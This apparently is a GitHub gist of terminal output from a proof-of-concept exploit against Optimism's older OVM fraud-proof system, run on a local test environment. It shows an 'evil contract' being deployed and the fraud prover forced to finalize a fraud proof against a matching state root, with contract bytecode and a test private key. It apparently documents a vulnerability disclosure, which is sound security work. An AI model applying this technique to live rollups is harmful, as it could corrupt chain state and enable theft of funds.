Skip to content

Instantly share code, notes, and snippets.

@yoavw
Created March 12, 2022 22:21
Show Gist options
  • Save yoavw/160d5dadb37fbd0d1ec04e69951edafd to your computer and use it in GitHub Desktop.
Save yoavw/160d5dadb37fbd0d1ec04e69951edafd to your computer and use it in GitHub Desktop.
user@testenv:~/optimism/optimism-ts-services$ ./exploit0.py
Evil contract: 0xE9599fd251b6C2f0E32FB653b5286F7fC5130752
ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX=1 FORCE_BAD_ROOT=2 exec/run-fraud-prover.js
user@testenv:~/optimism/optimism-ts-services$ ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX=1 FORCE_BAD_ROOT=2 exec/run-fraud-prover.js
{"level":30,"time":1646977789347,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Service is starting..."}
{"level":30,"time":1646977789348,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Service is initializing..."}
{"level":30,"time":1646977789348,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x023fFdC1530468eb8c8EEbC3e38380b5bc19Cc5d","msg":"Using L1 EOA"}
{"level":30,"time":1646977789348,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Trying to connect to the L1 network..."}
{"level":30,"time":1646977789364,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Successfully connected to the L1 network."}
{"level":30,"time":1646977789364,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Trying to connect to the L2 network..."}
{"level":30,"time":1646977789367,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Successfully connected to the L2 network."}
{"level":30,"time":1646977789367,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to Lib_AddressManager..."}
{"level":30,"time":1646977789370,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x3e4CFaa8730092552d9425575E49bB542e329981","msg":"Connected to Lib_AddressManager"}
{"level":30,"time":1646977789370,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_StateCommitmentChain..."}
{"level":30,"time":1646977789391,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x5736b4030Dc0A2aEC72c42C5f1b937E8CAFe46CE","msg":"Connected to OVM_StateCommitmentChain"}
{"level":30,"time":1646977789391,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_CanonicalTransactionChain..."}
{"level":30,"time":1646977789415,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x16Af4Db6548234c6463Ad6F0cf355260E96E741b","msg":"Connected to OVM_CanonicalTransactionChain"}
{"level":30,"time":1646977789415,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_FraudVerifier..."}
{"level":30,"time":1646977789445,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x7C9b37e50Ea69eB033216A3dce5e758Af086c2b4","msg":"Connected to OVM_FraudVerifier"}
{"level":30,"time":1646977789445,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_ExecutionManager..."}
{"level":30,"time":1646977789464,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xcF76fd262F9105a69A2AFe66aE11fc6930A267e7","msg":"Connected to OVM_ExecutionManager"}
{"level":30,"time":1646977789464,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Connected to all contracts."}
{"level":30,"time":1646977789464,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for relevant contracts, this might take a while..."}
{"level":30,"time":1646977789464,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for OVM_StateCommitmentChain..."}
{"level":30,"time":1646977789486,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for OVM_CanonicalTransactionChain..."}
{"level":30,"time":1646977789519,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Finished caching events!"}
{"level":30,"time":1646977789519,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Service has initialized."}
{"level":30,"time":1646977794524,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Looking for mismatched state roots..."}
{"level":30,"time":1646977794587,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","index":0,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646977794590,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"State root was not mismatched ✓"}
{"level":30,"time":1646977794590,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","index":1,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646977794592,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Forcing a fraud proof for 1"}
{"level":30,"time":1646977794592,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","l1StateRoot":"0x20c56dc436a8cfaeedf987eaf46ff895774438434d453867611aee08a8cd7200","msg":"L1 State Root"}
{"level":30,"time":1646977794592,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","l2StateRoot":"0x20c56dc436a8cfaeedf987eaf46ff895774438434d453867611aee08a8cd7200","msg":"L2 State Root"}
{"level":30,"time":1646977794592,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","index":1,"msg":"Found a mismatched state root"}
{"level":30,"time":1646977794592,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Pulling fraud proof data..."}
{"level":30,"time":1646977794593,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Getting pre-state root inclusion proof..."}
{"level":30,"time":1646977794628,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Getting post-state root inclusion proof..."}
{"level":30,"time":1646977794664,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Getting transaction inclusion proof..."}
{"level":30,"time":1646977794720,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Getting state diff proof..."}
{"level":30,"time":1646977794729,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Initializing the fraud verification process..."}
{"level":30,"time":1646977795784,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Loading fraud proof contracts..."}
{"level":30,"time":1646977795842,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Loading the state transitioner..."}
{"level":30,"time":1646977795858,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","stateTransitionerAddress":"0xc4f4BA98E2eCF2901864f1Ee5230342AdEB7e75C","msg":"State transitioner"}
{"level":30,"time":1646977795858,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Loading the corresponding state manager..."}
{"level":30,"time":1646977795876,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","stateManagerAddress":"0x42692C26653d25838Fac0467876De4eAf4B3a713","msg":"State manager"}
{"level":30,"time":1646977795890,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the PRE_EXECUTION phase."}
{"level":30,"time":1646977795890,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Proving account states..."}
{"level":30,"time":1646977795890,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000002","msg":"Attempting to prove account state"}
{"level":30,"time":1646977795906,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0x22247e1bC94a8E640f179b2b1e8B50bF54C4e0F3
{"level":30,"time":1646977795962,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977796524,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977796524,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000005","msg":"Attempting to prove account state"}
{"level":30,"time":1646977796547,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0xa94ec9484BfC9aB8d3fD80eB2735f132d257a135
{"level":30,"time":1646977796668,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977797258,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977797258,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","msg":"Attempting to prove account state"}
{"level":30,"time":1646977797270,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0xD4B82BDB1Abb1c1506173722c7d51FFCA659124f
{"level":30,"time":1646977797310,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977797685,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977797685,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xb1c79d264e3861f8232da4367de053f6f85aeebd","msg":"Attempting to prove account state"}
{"level":30,"time":1646977797702,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0xB8c940589934Af55FDee6073897c4BE64dECe5f4
{"level":30,"time":1646977797756,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977798022,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977798022,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","msg":"Attempting to prove account state"}
{"level":30,"time":1646977798037,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0x2e7C4A9B0646451d866Fb3C4cb0289DE1B06429D
{"level":30,"time":1646977798097,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977798626,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977798626,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000003","msg":"Attempting to prove account state"}
{"level":30,"time":1646977798656,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0x5952bFfE9d6C232439E265D0E1A775Bc721AFA90
{"level":30,"time":1646977798729,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646977799138,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646977799138,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Proving storage slot states..."}
{"level":30,"time":1646977799138,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xb1c79d264e3861f8232da4367de053f6f85aeebd","key":"0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977799280,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977799280,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xb1c79d264e3861f8232da4367de053f6f85aeebd","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977799430,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977799430,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977799713,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977799713,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xaae9e65f3ea61f23a4401274450c2ed2a762793b5d0a055a408288d28f7d65f0","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977799958,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977799958,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xd67bd457dcb666f8303c929c3f10310be683f9cc1c84dc8e2672087a5bdffeee","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977800229,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977800229,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0x5851a28e679a9b3402fe05feca3ed3d3b1ab0a15491e6566dccc1724c6bc2603","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977800500,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977800501,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000003","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977800641,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977800641,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000002","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977800772,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977800772,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000002","key":"0x0000000000000000000000000000000000000000000000000000000000000010","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977800891,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977800891,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","key":"0x0000000000000000000000000000000000000000000000000000000000000001","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977801010,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977801010,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","key":"0x0000000000000000000000000000000000000000000000000000000000000000","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977801152,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977801152,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977801291,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646977801291,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000005","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646977801411,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
0
9500000
{
blockNumber: 8,
timestamp: 1646977591,
gasLimit: BigNumber { _hex: '0x895440', _isBigNumber: true },
gasPrice: 0,
entrypoint: '0x4200000000000000000000000000000000000005',
l1TxOrigin: '0x0000000000000000000000000000000000000000',
l1QueueOrigin: 0,
data: '0x00797e54a441d96ddb17773f8b2a3667bf882ee86a5bde54a52bfef32feb6bc4df3273745889daccb36bf86110181164ab62fde37015633c026175f646f22f87a6011e847f000000000000000000000000000000000000000000000000000060806040523480156100195760008061001661008a565b50505b505a600081906100276100f8565b5050505a600181906100376100f8565b5050507f8a36f5a234186d446e36a7df36ace663a05a580d9bea2dd899c6dd76a075d5fa600161006561015d565b600061006f61015d565b036040518082815260200191505060405180910390a16101c0565b632a2a7adb598160e01b8152600481016020815285602082015260005b868110156100c55780860151816040840101526020810190506100a7565b506020828760640184336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b505050565b6322bd64c0598160e01b8152836004820152846024820152600081604483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b60005b60408110156101585760008183015260208101905061013e565b505050565b6303daa959598160e01b8152836004820152602081602483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b8051935060005b60408110156101bb576000818301526020810190506101a1565b505050565b610174806101cf6000396000f3fe6080604052348015610019576000806100166100a3565b50505b506004361061003f5760003560e01c806351c4bb971461004d578063ffe20fb41461006b575b60008061004a6100a3565b50505b610055610089565b6040518082815260200191505060405180910390f35b610073610096565b6040518082815260200191505060405180910390f35b6001610093610111565b81565b60006100a0610111565b81565b632a2a7adb598160e01b8152600481016020815285602082015260005b868110156100de5780860151816040840101526020810190506100c0565b506020828760640184336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b505050565b6303daa959598160e01b8152836004820152602081602483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b8051935060005b604081101561016f57600081830152602081019050610155565b50505056'
}
{"level":30,"time":1646977801425,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Executing transaction..."}
{"level":30,"time":1646977802125,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Phase was completed by someone else, moving on."}
{"level":30,"time":1646977802141,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the POST_EXECUTION phase."}
{"level":30,"time":1646977802141,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Committing storage slot state updates..."}
{"level":30,"time":1646977802218,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xb1c79d264e3861f8232da4367de053f6f85aeebd","key":"0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead","value":"0x0000000000000000000000004200000000000000000000000000000000000003","msg":"Attempting to commit storage slot."}
{"level":30,"time":1646977802338,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Storage slot committed."}
{"level":30,"time":1646977802560,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","key":"0x0000000000000000000000000000000000000000000000000000000000000001","value":"0x0000000000000000000000000000000000000000000000000000000000160a59","msg":"Attempting to commit storage slot."}
{"level":30,"time":1646977802678,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Storage slot committed."}
{"level":30,"time":1646977803055,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","key":"0x0000000000000000000000000000000000000000000000000000000000000000","value":"0x000000000000000000000000000000000000000000000000000000000017e60d","msg":"Attempting to commit storage slot."}
{"level":30,"time":1646977803484,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Storage slot committed."}
{"level":30,"time":1646977803527,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Committing account state updates..."}
{"level":30,"time":1646977803648,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xb1c79d264e3861f8232da4367de053f6f85aeebd","balance":{"type":"BigNumber","hex":"0x00"},"nonce":{"type":"BigNumber","hex":"0x01"},"storageRoot":"0x75d420245863567e51996db1c1a5e781bcf2a94d7f8d8c0eb549ee6c82b3a8cc","codeHash":"0x93556a6d522eaf218b0a2363868f4e029c67e9a9c7bd6d4da605e45a9242e7ea","msg":"Attempting to commit account."}
{"level":30,"time":1646977803921,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account committed."}
{"level":30,"time":1646977804099,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","address":"0xe9599fd251b6c2f0e32fb653b5286f7fc5130752","balance":{"type":"BigNumber","hex":"0x00"},"nonce":{"type":"BigNumber","hex":"0x01"},"storageRoot":"0x1c6737438e1250ed78e8830407747fbd1a6252437fad4991750ba55ed802e6c8","codeHash":"0xd08a17ca7acc070ddb9dd01ece93e164b65d7aa733ca860afe231262c90d204b","msg":"Attempting to commit account."}
{"level":30,"time":1646977804716,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Account committed."}
{"level":30,"time":1646977804724,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Completing the state transition..."}
{"level":30,"time":1646977804810,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"State transition completed."}
{"level":30,"time":1646977804823,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the COMPLETE phase."}
{"level":30,"time":1646977804823,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Attempting to finalize the fraud proof..."}
State roots: 0x28fa9ccdca9024767a9e39097b1d6aa6e7f6d8f211804011c49638e94f4c6f56 0x20c56dc436a8cfaeedf987eaf46ff895774438434d453867611aee08a8cd7200
{"level":30,"time":1646977805926,"pid":1675246,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof finalized! Congrats."}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment